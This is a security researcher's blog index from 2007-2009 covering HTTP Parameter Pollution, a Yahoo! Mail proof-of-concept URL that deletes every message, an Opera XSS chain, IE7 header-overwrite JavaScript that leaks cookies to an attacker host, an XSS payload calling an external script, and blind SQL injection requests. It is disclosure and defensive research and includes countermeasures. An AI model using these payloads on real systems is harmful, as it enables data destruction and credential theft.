News

Search on Wisec

Security Thoughts

Thursday, May 21, 2009, 17:36

HTTP Parameter Pollution FAQs

We have received numerous public replies as well as several private emails.
Thanks for your comments, suggestions and feedbacks.

It's now time to summarize and clarify some points.

Q: Is this a new class of exploits or just another case of applications lacking input validation?
A: Actually, HPP is an input validation flaw. As SQL Injection and XSS, we may consider it as an injection weakness.
In this specific case, query string delimiters are the "dangerous" characters.

Q: You are saying that several HTTP back-ends manage multiple occurrences in different ways. In some cases, it may be abused in order to fingerprint the underline back-end. Is it right?
A: Yes, sure. However, considering the granularity available, we don't think it is really so interesting.

Q: This is a known attack. You guys presented a bunch of interesting but already known techniques to exploit different vulnerabilities.
A: Actually, we think we have contributed (in some way) to the current state-of-art showing this issue. However, even if it is currently used by 'hard-core' attackers, it's very important to formalize a threat in order to mitigate the issue and create efficient workarounds.
The aim of the entire research is to raise awareness around this problem.
In future, we would like to include HPP within the OWASP Testing Guide in order to provide the right methodology for testing systems against HPP-like attacks as well.
We strongly believe that sharing such knowledge may increase the security of all web applications.

Q: Most of your examples and findings use GET parameters. What about POST?
A: POST and COOKIE parameters may be affected as well. In slide #11 and #19, we have briefly stated that and you will see further research because it is a very interesting aspect since it gives additional flexibility for all attacks.

Q: In the current version of IE8, is the XSS Filter still vulnerable to HPP?
A: No! We had a discussion with the IE XSS Filter guy at Microsoft and turns out that the current version is NOT affected. All previous tests were done against the beta release and we didn't double check the latest one. We are sorry for this misunderstanding.

Q: Are multiple occurrences of a parameter valid according to the RFC, W3C, whatever?
A: Yes! Yes! The only thing which in fact was worth mentioning is the lack of standard in the _management_ of multiple occurrences and NOT the presence of multiple occurrences themselves.
After all, that's why it is possible to abuse the query string delimiters injection flaw.

Q: Is Yahoo! Mail still vulnerable to HPP?
A: Difficult to say. However, the specific issue was patched thus it cannot be abused by malicious users.

Q: Could you provide additional details regarding the Yahoo! Classic Mail HPP attack?
A: I've just published here an in-depth review of the issue with the video PoC as well.

Q: What's the right way of managing multiple occurrences? Is there a 'perfect' framework?
A: No, there are no right o wrong behaviors as well as we cannot refer to a right or wrong web servers/web frameworks. The behavior of the HTTP back-ends is a matter of exploitability, only.

Q: HPP is only about WAFs bypasses?
A: Absolutely not! HPP is also about applications flow manipulation, anti-CSRF, content pollution.

Q: How can I prevent HPP?
A: First of all, answer yourself "Which layer am I protecting?".
Then, speaking about HPP server side, it's always important to use URL encoding whenever you do GET/POST HTTP requests to an HTTP back-end.
From the client-side point of view, use URL encoding whenever you are going to include user-supplied content within links, etc.

Q: Am I vulnerable to HPP?
A: It depends on how you are managing several occurrences of the same parameter from the application point of view. Using strict input validation checkpoints and the right output filtering (URL encoding), you are likely secure (at least, against HPP :p).

That's all (for now).

[ No comments ]

Thursday, May 21, 2009, 15:41

Client side Http Parameter Pollution - Yahoo! Classic Mail Video Poc

As a follow up of HTTP Parameter Pollution presentation,
I think it's time to give some details of the Yahoo! Classic Mail exploitation.
That's the long version of the video we showed @ OWASP Appsec Poland 2009:
Youtube LD Video or Wisec HD Video

Moreover, in order to better clarify the details of client side HPP explitation, here's an excerpt of my mail to Yahoo! security team:
"...

How client side HPP works?

It's pretty easy, find a name value pair of HTTP parameters and append %26aaaa=aaaaa to it. Example:

http://yahoo.com?par=val%26aaaa=aaa

Have a look at Html source looking for translation of %26 in & or & in anchors or other attributes using the url, such as:

<a href="http://yahoo.com?par=val&aaaa=aaa"> View </a>

The semantic of such link changes from the function described to something else.
In fact, if instead of %26aaaa=aaa the injected parameter were:

%26action=delete

So, it becomes:

<a href="http://yahoo.com?par=val&action=delete"> View </a>

The user considers the functionality "view", even if the real action is "delete".
Obviously it strongly depends on the functionalities and the structure of the Web app...

Yahoo! Classic Mail Issue

I found that client side HPP is possible on some parameter in the first page of Inbox.
Example:

http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0

has startMid which could be used as entry point for client-side HPP.
Infact if we try to add %26aaaa=aaa to startMid:

http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0%26aaaa=aaa

Every link to listed emails, withinin inbox, expands %26 into &.
Specifically:

<a href="http://it.mc257.mail.yahoo.com/mc/showMessage?pSize=25&sMid=0&fid=Inbox&sort=date&order=down&startMid=0&aaaaa=aaa&filterBy=&.rand=1076957714&midIndex=0&mid=1_62389_ALIKDNkAAJELSeg6IAXQeCc3b%2Fk&f=1">An email subject </a>

(notice the &aaaa=aaa)
As a result, when the user will click on an email he will trigger the execution of a different action, as it usually happens for CSRF attacks.

The proof of concept

I just analyzed the application and found that 'cmd' parameter is used in order to execute a specific action.

Later on, I found that:
cmd=fmgt.emptytrash

is the action for emptying the trashcan

and that:
DEL=1&DelFID=Inbox&cmd=fmgt.delete

forces the application to move every msg from a folder to the trashcan and then (if possible) deletes the folder.

Please note that every action has anti CSRF measures so it's not possible to perform those ones from an external evil page.

Then, by combining these two commands into a link using urlencoding for the first action (delete all messages) and double urlencoding for the second action (empty the trashcan) like this:

http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0%2526cmd=fmgt.emptytrash%26DEL=1%26DelFID=Inbox%26cmd=fmgt.delete

when the user clicks on any message in order to read it and then click to "Back to messages", he will have every messages deleted forever..

Countermeasures to Client Side HPP

When creating URLs the parameters taken from the http request itself should be url encoded and not translated to Html Entities.

Example (php):

<a href="/?startmid="<?=urlencode($_GET['startMid'])?>&id=4">View</a>

and not:

<a href="/?startmid="<?=htmlspecialchars($_GET['startMid'])?>&id=4">View</a>

The Attack flow

Let’s review, once again, the attack flow

Flow #1:

1. Attacker sends an email to the victim with the above link.
2. User/victim clicks on the link and gets the inbox page again.
3. User/victim clicks in order to see the other messages and gets every message deleted.

Flow #2:

1. User/victim visits a malicious page
2. Attacker, after checking if the user is logged in on Yahoo!, redirects the victim on the malicious url.
3. User/victim clicks in order to see the other messages and gets every message deleted.

...

Cheers,
Stefano
..."

Just to be clear, this vulnerability is currently patched and it affected the Yahoo! Mail classic version only.
However, it is likely to force a user to change the GUI from the brand-new mail interface to the old one.

[ No comments ]

Tuesday, May 19, 2009, 12:06

Http Parameter Pollution a new web attack category (not just a new buzzword :p)

On May 14th @ 2009OWASP Appsec Poland, me & Luca Carettoni presented a new attack category called Http Parameter Pollution (HPP).

HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting query string delimiters.
It affects a building block of all web technologies thus server-side and client-side attacks exist.
Exploiting HPP vulnerabilities, it may be possible to:

Override existing hardcoded HTTP parameters.
Modify the application behaviors.
Access and, potentially exploit, uncontrollable variables.
Bypass input validation checkpoints and WAFs rules.

Just to whet your appetite, I can anticipate that by researching for real world HPP vulnerabilities, we found issues on some Google Search Appliance front-end scripts, Ask.com, Yahoo! Mail Classic and several other products.

You can download the slides of the talk here (pdf) or browse it on Slideshare .

Also, we'll soon release a whitepaper in order to clarify all details about HPP.

As last news, in a few days the video of "Yahoo! Classic Mail" exploitation of Client Side HPP will be available on this blog.
So...stay tuned and bon appetit!

[ 4 comments ]

Tuesday, November 04, 2008, 20:25

All-In-One MultiStage Js/Html Payload

I'm a bit lazy sometime.
For instance, when I have to create two files in order to exploit^N^N^N^N^N^Nshow some kind of multi stage vulnerability,
and I'd need to write two files, one for the Html and one for the Js.
So I thought, how could I overcome with all this (incredible) effort?

Let's think about my previous post , when I released the Opera historysearch q=*Xss proof of concept.
Maybe (or maybe not) someone noticed some difference between standard Pocs and the Poc itself.

It is a self contained Html/Js Poc, even if it is a two stage exploit.

Let's see a simpler empty example:

<html>
[Html Here]
</html>

As it could be seen it uses comments in order to be interpreted in different contexts, the Js one when loaded by
<script src='self.html'></script>
and the Html context when loaded from the browser.

The first comment is for Html:

that will prevent the Html interpreter to display junk allowing to write Html in a straight forward style.

The second comment is for the JavaScript one:

/* Html payload Starts here
-->
<html>
<body style='background-color: rgb(220,220,220)'>
...
<!--
Html payload Ends here */

which will prevent the Js interpreter to raise an exception.
It's multiple browser compliant, and it doesn't need to be a E4X browser compliant.

Q: So...when I am supposed to use it?
A:It could be used for milworm p0cs or instead of publishing/posting on FD/BGTQ/SEC_ML those boring multiple files.
Q:Why are you so lazy?
A:Hey...Too many questions.

Yes, it's probably useless, but it reminds me some of those multilanguage/multiprocessor/multi_O-S shellcodes (with all due respect) that has been published on phrack.
Finally, that's more an excercise in style than a real groundbreaking new way of doing POCs, but I thought it was worth posting about it.
However any comments will be appreciated.

[ No comments ]

Tuesday, November 04, 2008, 11:47

Melomania

Some days ago there has been a bit of movement in the security scene since Opera 9.61 was released.
Thanks to Roberto Suggi Liverani that pointed out an issue on Opera historysearch feature and to Kuza55
for asking if the problem, initially considered as "simple" data stealing, could lead to a command execution,
I started thinking about the analogies with chrome Firefox implementation.

After some lazy testing, I figured out that same origin iframe technique could be used in order to exploit the
Xss, leveraging it to Js driven configuration change.
Why?
Because when dealing with opera:* features the browser, in the context of same origin policy, considered
the SOP matching as follows.

Since SOP matching is evaluated by comparing

scheme1 + host1 + port1 == scheme2 + host2 + port2

We got opera:* considered as:

opera + null + null

For every opera:* feature.

So by injecting an iframe from opera:historysearch and pointing to opera:config there was a match in the SOP.

That is the real issue.

Well, not really, that is only one of the hypotesis that have to be satisfied in order to lead to automatic command
execution.
The very first and interesting issue was the CSRF to opera:* location allowed using the window.open Js method
from a http: scheme protocol, and that has to be credited to Roberto Suggi Liverani for finding that.

The rest of the history is quite straightforward.

After the issue found by Roberto I started to play a bit with the historysearch feature parameters.
And it resulted in a very simple attribute-escaping-injection in the next-previous Xss.
So by pointing the browser to:

opera:historysearch?q=">payload&p=1&s=1

there was the chance to exploit once again the opera:* scheme, but just if some result in the historysearch
page was found.

That's why the payload needs to be in the attacker evil page.

The only problem was that '/' could not be used because of Opera's way of encoding/decoding them.

Double urlencoding came into help. The solution was using %%32f in spite of %2f.
(Avif Raff's came up with '<image src=x onerror=Payload' solution)

And that's the full Poc.

So, another new "chrome" alike interface to be abused? Maybe.
What is for sure is that when a browser adds new local functionalities accessible to the user, dressed as
internal_scheme: with html page and internal Js methods, well, security should be taken very seriously by doing:

0. Research in the history of other browsers' flaws;
1. Risk Assessment in the design phase;
2. Threat analysis and Abuse Cases Analysis in the design phase;
3. Secure Code Review of the new features;
4. Black Box Penetration Testing.

And that's where Opera missed its chance.
We all hope they learnt something from their history(search).

Now I can say that I'm a melomaniac again.

[ 1 comment ]

Friday, March 21, 2008, 19:59

More on MSA02240108 IE7 Header Overwrite

When I was researching ways exploit MSA02240108 'Microsoft Internet Explorer allows overwriting of several headers leading to Http request Splitting and smuggling', one of the interesting exploits I've found is that by taking advantage of XHR redirect feature in IE7, header stealing is possible also from an attacker site.

Let's see how:
When dealing with a XMLHttpRequest, Internet Explorer 7 follows redirect also on external urls.
Moreover, every added header is sent to the latter request as well.
Infact,



var x=new XMLHttpRequest();

x.open("POST","/page.html?redirect=http://anotherhost.tld");

x.setRequestHeader("Blah","Blah2");

 x.onreadystatechange=function (){

    if (x.readyState == 4){

     alert(x.responseText)

   }

 }

x.send("blah");

is executed and generates the following HTTP traffic:



GET /page.html?redirect=http://anotherhost.tld HTTP/1.1

Cookie: SomeCookie_to_ahost.tld

Host: ahost.tld

Blah: Blah2



HTTP/1.1 302 Moved Temporarily

Location: http://anotherhost.tld

Content-lenght: 0





GET / HTTP/1.1

Cookie: SomeCookie_to_anotherhost.tld

Host: anotherhost.tld

Blah: Blah2 <-- IE Sends it to anotherhost too!



HTTP/1.1 200 OK

...



<html>

Body that will never be accessible from a XMLHttpRequest originating from another host.

</html>

but of course x.responseText is empty.

Now, let's suppose there's a victim host vhosted on the same server of an attacker site.



var x=new XMLHttpRequest();

x.open("POST","/index.html");

x.setRequestHeader("Host"+String.fromCharCode(223),"http://at.tacker.com");

x.setRequestHeader("Connection","keep-alive");

 x.onreadystatechange=function (){

    if (x.readyState == 4){

   }

 }

x.send("blah");

where index.html simply redirect with:



HTTP/1.1 302 Moved Temporarily

Location: http://vi.ct.im/victimpage.html

The overwritten Host header will still be there on the redirected request because IE7 considers it as an additional header, but every other header will be as if the request is to vi.ct.im host.



GET /victimpage.html HTTP/1.1

Host: at.tacker.com

Cookie: some_cookie_that_should_be_sent_to_vi.ct.im

Header1: some_value1_that_should_be_sent_to_vi.ct.im

Header2: some_value2_that_should_be_sent_to_vi.ct.im

Header3: some_value3_that_should_be_sent_to_vi.ct.im

Which will be sent to the server. The server sees the Host: at.tacker.com header and sends the whole request to it, letting the cookie and other sensitive data in headers, to be directly stealed by at.ttacker.com.

Now my question is:
Why following a redirect to external hosts since the response could not be get from javascript, because of
Same Origin Policy?
...
Just to introduce some other potential security issue?

[ 3 comments ]

Tuesday, December 04, 2007, 17:10

The first release of SWFIntruder is out!!

I am proud to announce first release of SWFIntruder.
SWFIntruder (pronounced Swiff Intruder) is the first tool specifically developed for analyzing and testing security of Flash applications at runtime.
It helps to find flaws in Flash applications using the methodology originally described in Testing Flash Applications and in Finding Vulnerabilities in Flash Applications.

Some neat feature:

* Basic predefined attack patterns.
* Highly customizable attacks.
* Highly customizable undefined variables.
* Semi automated Xss check.
* User configurable internal parameters.
* Log Window for debugging and tracking.
* History of latest 5 tested SWF files.
* ActionScript Objects runtime explorer in tree view.
* Persistent Configuration and Layout.

SWFIntruder is hosted @ OWASP and is sponsored by Minded Security.

Check it out and let me know!
Any comments will be appreciated.

[ No comments ]

Tuesday, December 04, 2007, 16:42

Finding Vulnerabilities in Flash Applications - Slides @ Owasp

Finally the slides of my presentation @ WASC & OWASP AppSec 2007 are available for everyone is interested on this topic.
It's the second chapter of my personal research about Flash Application security testing.
Some new trick is disclosed and a couple of video screencasts are now available to respectively show how a flawed SWF could XSS the hosting site, and a preview of the tool I am going to release today on behalf of Minded Security for SWF security analysis and testing at runtime.
I hope you'll enjoy reading it!

[ No comments ]

Monday, December 03, 2007, 21:21

ExploitMe Tools - A Little Warning

Few days ago two interesting new tools were released and donated to the sec-community, XSSMe and SQLiMe by Security Compass.
From securitcompass.com site:



XSS-Me is the Exploit-Me tool used to test for reflected Cross-Site Scripting (XSS) vulnerabilities.

What is Exploit-Me?

A suite of Firefox web application security testing tools. 

Exploit-Me tools are designed to be lightweight and easy to use. 

Instead of using proxy tools like many web application testing tools, Exploit-Me integrates directly

with Firefox.

Ok. This is the good tale about it.

The problem is that XSSMe attack patterns use as external source www.securitycompass .com:

<SCRIPT a=">'>" SRC="http://www.securitycompass.com/xss.js"> </SCRIPT>

and this should not happen, or, at least XssMe should ask the user to change www.securitycompass.com to a custom server.
Why? Because if you're doing some Ethical Hacking activity using XssMe for automated testing, whenever the victim host would have a Xss, www.securitycompass.com web server would get a request like the following:

GET /xss.js HTTP/1.1
Host: www.securitycompass.com
User-Agent: Firefox/2.0.0.11
Connection: keep-alive
Referer: http://vi.ct.im/flawedPage.jsp

Do you see? The referrer header is a great resource for statistics, and supposing you're doing the testing under some NDA you're almost screwed.

So in order to resolve this issue, i exported the xss attacks to xml, replaced to my local server, deleted every pattern from the option dialog and imported the replaced xss.xml.
Even though I really think this was due to an oversight, if anyone intends to use XssMe, fix it by yourself, or use it at your own risk!

FAQ:
Q: Did you reported this issue to Security Compass?
A: Yes. They added a known issues link with the description of the problem.

[ 5 comments ]

Monday, November 05, 2007, 22:54

Bursting Performances in Blind SQL Injection - Take 2 (Bandwidth)

Today my colleague Giorgio Fedon of Minded Security, talked me about an idea regarding how to save bandwidth while exploiting blind SQL Injection.
His question was:

"When a pentester is trying to get the content of a DB by exploiting a blind injection how can s/he get the content-length header without effectively getting all
the response body, so that s/he can save time and bandwidth?"

My answer was: "use HEAD! (in both senses :)"
It came out that RFC says it's not possible to use it.
Infact, Apache doesn't satisfy a HEAD request with Content-Length header in response.

HEAD /index.php HTTP/1.1
Host: 127.0.0.1
Accept: */*

HTTP/1.1 200 OK
Date: Mon, 05 Nov 2007 21:00:07 GMT
Server: Apache
Content-Type: text/html

See? no Content-Length in response even if my localhost home page is 90 bytes long (as Rfc suggests).
Let's try it with Range header:

GET /index.php HTTP/1.1
Host: 127.0.0.1
Accept: */*
Range: bytes=-1

HTTP/1.1 206 Partial Content
Date: Mon, 05 Nov 2007 21:03:15 GMT
Server: Apache
Content-Range: bytes 89-89/90
Content-Length: 1
Content-Type: text/html

Ahhhh, so the Range header in a request will fullfill my request without sending me the whole body but with a Content-Range which shows me how big would be the body itself.

Unfortunately, not all Web Servers acts the same.
IIS 6.0 doesn't follow HTTP 1.1 Rfc and simply sends the whole body in response to GET or POST requests.
But..Yes there is a but.
HEAD requests are fullfilled with the right Content-Length:

HEAD /search.aspx HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-Length: 22

search=all'+AND+'1'='1

HTTP/1.1 200 OK
Date: Mon, 05 Nov 2007 21:14:00 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 4790
Content-Type: text/html
Expires: Mon, 05 Nov 2007 21:14:00 GMT
Set-Cookie: ASPSESSIONIDSQTCRTQA=XXXXXXXXXXXXXXXXXXX; path=/
Cache-control: private

This means that we get the length of the response body even when there's no body in response.

How to use these infos?
By improving blind sql injection tools.

Often blind sql injection tools use the differences in response bodies to understand if the sql injection accomplishes a true or false response.
Using Content-Length or Content-Range could improve performances a lot.

The following look up table is for server and method:



SERVER      METHOD   RANGE



IIS 6.0      HEAD

APACHE       GET/POST  X

IBM HTTP     GET/POST  X

WEBSPHERE    GET/POST  X

We (me and Giorgio) hope some reader will provide informations about other web servers.

[ 2 comments ]

1 2 » XML

Admin login | This weblog is from www.mylittlehomepage.net

Wisec is brought to you by...

Wisec is written and mantained by Stefano Di Paola.

Wisec uses open standards, including XHTML, CSS2, and XML-RPC.